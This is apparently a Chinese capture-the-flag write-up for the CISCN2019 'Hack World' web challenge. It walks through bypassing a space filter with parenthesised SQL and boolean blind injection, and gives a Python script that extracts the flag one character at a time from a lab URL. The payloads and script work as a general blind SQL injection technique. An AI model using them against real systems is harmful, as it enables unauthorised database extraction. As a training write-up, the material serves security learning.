[CISCN2019 华北赛区 Day2 Web1]Hack World

 首页提示flag位于flag表的flag字段

 直接输入

;select flag from flag;

,显示sql注入检测

 单独输入select关键字没有被过滤,说明过滤了空格

 使用语句

;select(flag)from(flag);

返回false,结合上面单独输入select也返回false,可以联想到是bool盲注

 因为题目提示flag为uuid,uuid是32位随机字符串,所以需要编写python脚本来获取flag

 先写出一个核心的语句,判断flag的第一个字符是否ascii码为101

if((ascii(substr((select(flag)from(flag)),1,1))=101),0,1)

 输出Hello,表示这个地方返回的1,说明第一个字符ascii码为101

 Error表示此处返回0,第一个字符ascii码不为102

if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1)

 python脚本祭出:

import requests

url = "http://afdaf57c-ca3f-40fc-9e6c-afec379c58d9.node3.buuoj.cn/"
res = ""

try:
    for i in range(1, 50):
        for j in range(1, 127):
            payload = "1^if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1)" % (i, j)
            data = {"id": payload}
            r = requests.post(url, data)
            print(payload)
            if "Hello, glzjin wants a girlfriend." in r.text:
                res += (chr(j))
                print(res)
                break
except:
    print("end ....")

print(res)

原文地址:https://www.cnblogs.com/gtx690/p/13219029.html